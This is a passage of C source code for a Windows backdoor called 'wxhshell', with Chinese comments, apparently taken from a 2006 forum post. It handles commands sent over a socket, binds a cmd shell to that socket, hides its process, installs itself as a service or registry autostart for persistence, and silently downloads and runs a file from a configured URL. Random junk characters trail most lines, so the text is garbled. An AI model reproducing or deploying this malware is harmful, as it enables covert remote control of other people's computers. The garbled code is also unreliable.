    switch(cmd[0]) { _SJ#k|vcq  
  u `1cXL['  
  // 帮助 y"<nx3  
  case '?': { D^E1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /(bPc12  
    break; pUZbZ U  
  } GO.mT/rB  
  // 安装 ]uI#4t~  
  case 'i': { W~$YKBW  
    if(Install()) V)mRG`L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (%rO'X  
    else z:ue]7(.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nr Jl>H  
    break; 7 M=LyrO  
    } /[#<@o  
  // 卸载 npkE [JE:  
  case 'r': { yEJ}!/  
    if(Uninstall()) EEEYNu/4/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^%@(> :)0  
    else il(dVW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c`yLn %Of%  
    break; }oIA*:5  
    } ZZL.&Ho  
  // 显示 wxhshell 所在路径 QmvhmsDL  
  case 'p': { ArDkJ`DE  
    char svExeFile[MAX_PATH]; x=pq-&9>B  
    strcpy(svExeFile,"\n\r"); 6Z]* ce<r  
      strcat(svExeFile,ExeFile); t|0Zpp;  
        send(wsh,svExeFile,strlen(svExeFile),0); )[|`-M~u  
    break; Smzy EMT  
    } g)u ~GA*=  
  // 重启 iq)4/3"6  
  case 'b': { y/Fv4<X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6J9^:gXW~  
    if(Boot(REBOOT)) <5?.s< y$"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FX`SaY>D  
    else { h|$.`$  
    closesocket(wsh); Kr3L~4>  
    ExitThread(0); 9+)5#!0  
    } aF7" 4^P  
    break; l~kxt2&  
    } (, Il>cR4  
  // 关机 vn}:$|r$J  
  case 'd': { l`G .lM(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7E*d>:5I  
    if(Boot(SHUTDOWN)) R=yn4>I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `rzgC \  
    else { :@a8>i1&  
    closesocket(wsh); hg_@Ui@[z  
    ExitThread(0); 9!6sf GZ  
    } wWB-P6  
    break; yANk(  
    } ~W p>tnl  
  // 获取shell Oz<{B]pEul  
  case 's': { ^  ry   
    CmdShell(wsh);  w~wpm7  
    closesocket(wsh); ~:~-AXaMT  
    ExitThread(0); E96FwA5  
    break; 4loG$l+a1  
  } 8XZS BR(Z  
  // 退出 PzbLbH8A  
  case 'x': { *^e06xc:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^"WrE(3  
    CloseIt(wsh); 0Ah'G  
    break; |dcRDOTe  
    } &sleV5V  
  // 离开 ,_?P[~1  
  case 'q': { th]1> .  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ys`"-o[*  
    closesocket(wsh); \ws<W 7  
    WSACleanup(); T~@$WM(  
    exit(1); }wJ-*By{+  
    break; 'yd<<BM`  
        } 4+qoq$F</  
  } >_ bH ,/D'  
  } T{-<G13  
kXK D>."E*  
  // 提示信息 qT7E"|.$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [(Ss^?AJW  
} W'WZ@!!  
  } ^t,sehpR:l  
GY@(%^  
  return; !8S $tk  
} I/:M~ b  
 0IO#h{t  
// shell模块句柄 OP>rEUtj  
int CmdShell(SOCKET sock) {}!`v%z  
{ L6S!?t.{Yv  
STARTUPINFO si; ]w ^9qS  
ZeroMemory(&si,sizeof(si)); Y|$3%t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y~@@{zP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EF1aw2  
PROCESS_INFORMATION ProcessInfo; -wJ/j~ +m+  
char cmdline[]="cmd"; yzJ VU0s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F*Lm=^:  
  return 0; RS'!>9I  
} }j9V0`Q  
d/oxRzk'L  
// 自身启动模式 J<J_yRg2  
int StartFromService(void) !;EG<ji,gj  
{ zQvp<IUq  
typedef struct CJ0{>?  
{ + q@kRQY;n  
  DWORD ExitStatus; 4mNg(w=NF  
  DWORD PebBaseAddress; ~Iw7Xq E2  
  DWORD AffinityMask; &+]x  
  DWORD BasePriority; rBR,lS$4  
  ULONG UniqueProcessId; $]O;D~  
  ULONG InheritedFromUniqueProcessId; }&|S8:   
}   PROCESS_BASIC_INFORMATION; QfqosoP\D  
 {oQ.y  
PROCNTQSIP NtQueryInformationProcess; -:Up$6PR  
"\0&1C(G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;.*n77Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y)="of  
U 8Rko)  
  HANDLE             hProcess; rq=D[vX\N(  
  PROCESS_BASIC_INFORMATION pbi; ?U3X,uv5J  
["]r=l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?}<4LK]  
  if(NULL == hInst ) return 0; ipy1tXc  
Qry?h*p+`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Wl!|+-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;#c=0*.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OX|nYTp  
Dxj&9Ra  
  if (!NtQueryInformationProcess) return 0; x%<oeM3U  
?&v+-4%4PI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0V:7pSC{P  
  if(!hProcess) return 0; NJ" d`  
R Ptc \4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zg)-RCG  
H#yBWvj*H  
  CloseHandle(hProcess); v(PwE B]  
dG5p`N %  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Buazm3q8H  
if(hProcess==NULL) return 0; #Fp5>%*  
ibe#Y  
HMODULE hMod; }\+7*|  
char procName[255]; q0* e1QL  
unsigned long cbNeeded; eAvOT$  
!8'mIXZ$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B[2 qI7D$  
=2-!ay:  
  CloseHandle(hProcess); wLX:~]<xl  
!yxb=>A  
if(strstr(procName,"services")) return 1; // 以服务启动 k;aV4 0N9  
ZV:cg v  
  return 0; // 注册表启动 f]N.$,:$  
} /"$A?}V  
?"23XKe  
// 主模块 + Xc s<+b  
int StartWxhshell(LPSTR lpCmdLine) VG,O+I'^z  
{ %OS}BAh^i  
  SOCKET wsl; T4H/D^X|  
BOOL val=TRUE; .aJ\^Fx  
  int port=0; HP`dfo~j  
  struct sockaddr_in door; qHM,#W<  
=}SH*xi6  
  if(wscfg.ws_autoins) Install(); 8HL$y-F  
i6)7)^nG  
port=atoi(lpCmdLine); tXZE@JyuC  
s+9q`k^  
if(port<=0) port=wscfg.ws_port; V(/ @$&  
8Jnl!4  
  WSADATA data; /3( a'o[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cu)ssT  
os<YfMM<:/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /E(319u_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mPhrMcL  
  door.sin_family = AF_INET; Ab| t E5%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ui _nvD:  
  door.sin_port = htons(port); Q7<_> )e^  
5X8GR5P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Io8h 8N-  
closesocket(wsl); d#Hl3]wT  
return 1; 8 K7.; t1  
} rUg<(/c  
nDiy[Y-4Wp  
  if(listen(wsl,2) == INVALID_SOCKET) { ! };OL Q  
closesocket(wsl); @jXdQY%{  
return 1; jY: )W*TXt  
} uL.)+E  
  Wxhshell(wsl); ]Tv0+ Ao  
  WSACleanup(); S!\4,6  
^T^l3B[  
return 0; :K-05$K  
U/9i'D[|{  
} dp&8:jy  
"'# 18&N  
// 以NT服务方式启动 H]^hEQ3DT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w+,Kpb<x[0  
{ ,RP"m#l!\  
DWORD   status = 0; Ib8*rL0p<L  
  DWORD   specificError = 0xfffffff; {=Z xF  
>v sy P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B~\mr{|u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ](^$5Am  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]g/:lS4  
  serviceStatus.dwWin32ExitCode     = 0; uItzFX*   
  serviceStatus.dwServiceSpecificExitCode = 0; .m r& zq  
  serviceStatus.dwCheckPoint       = 0; >M2~BDZ  
  serviceStatus.dwWaitHint       = 0; 7yUtG^'b  
U,;a+z4\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wW. V>$q  
  if (hServiceStatusHandle==0) return; z' oK 0"  
! 06 !`LT  
status = GetLastError(); %A]?5J)Bi  
  if (status!=NO_ERROR) E.ugr])  
{ $oPx2sb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; //x^[fkNq)  
    serviceStatus.dwCheckPoint       = 0; f1Az|h  
    serviceStatus.dwWaitHint       = 0; m'j]T/WF  
    serviceStatus.dwWin32ExitCode     = status; fu=GgD*  
    serviceStatus.dwServiceSpecificExitCode = specificError; <%_7%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D@O#P^?  
    return; ( pDu  
  } G}|!Jdr  
As5*)o"&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "UNWbsn6Qr  
  serviceStatus.dwCheckPoint       = 0; 9A7LDHst7  
  serviceStatus.dwWaitHint       = 0; SC Qr/Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [osIQ!u;:  
} X-lB1uq^  
e1Ne{zg~  
// 处理NT服务事件,比如:启动、停止 >EacXPt-O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /-{C,+cB  
{ FV 0x/)<z  
switch(fdwControl) Bv=  
{ Qru iQ/t  
case SERVICE_CONTROL_STOP: %>)HAx `  
  serviceStatus.dwWin32ExitCode = 0; GBh$nVn$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nfj8z@!  
  serviceStatus.dwCheckPoint   = 0; ls;!Og9  
  serviceStatus.dwWaitHint     = 0; 5 ]c\{G  
  { B IW?/^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y TbOBl  
  } KxA ^?,t[  
  return; [|5gw3 y  
case SERVICE_CONTROL_PAUSE: B_kjy=]O.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6I<^wS9j_  
  break; 3 |se]~  
case SERVICE_CONTROL_CONTINUE: |H .  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gpvzOW/  
  break; qk+RZ>T<o  
case SERVICE_CONTROL_INTERROGATE: ep,"@,,  
  break; C>MEgGP  
}; >.xg o6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ ;J:kd;<  
} '5f6 M^}|2  
7o99@K,  
// 标准应用程序主函数 :l;SG=scx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _nn\O3TB  
{ 0 %W0vTvL  
Q>%{Dn\?  
// 获取操作系统版本 r;7&U<j~Z  
OsIsNt=GetOsVer(); ]ChGi[B~9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5#WyI#YNG  
~zd+M/8  
  // 从命令行安装 4#MPD  
  if(strpbrk(lpCmdLine,"iI")) Install(); MsD@pa  
lTR/o  
  // 下载执行文件 tCVaRP8eC+  
if(wscfg.ws_downexe) { f[XsnN2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e I^Q!b8n  
  WinExec(wscfg.ws_filenam,SW_HIDE); a,/wqX  
} `mt x+C  
I{8sLzA03S  
if(!OsIsNt) { <N~&Leh  
// 如果时win9x,隐藏进程并且设置为注册表启动 iVUkM3  
HideProc(); =[ +)T[  
StartWxhshell(lpCmdLine); SK]"JSY`  
} f|r +qe  
else ,q".d =6  
  if(StartFromService())  {F'~1qf  
  // 以服务方式启动 5ns.||%k  
  StartServiceCtrlDispatcher(DispatchTable); ,,Ia4c  
else bC SgdK  
  // 普通方式启动 &F 3'tf?  
  StartWxhshell(lpCmdLine); `h(*D   
&Sr7?u`k  
return 0; U4.- {.  
}
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只看该作者 1 发表于: 2006-10-10
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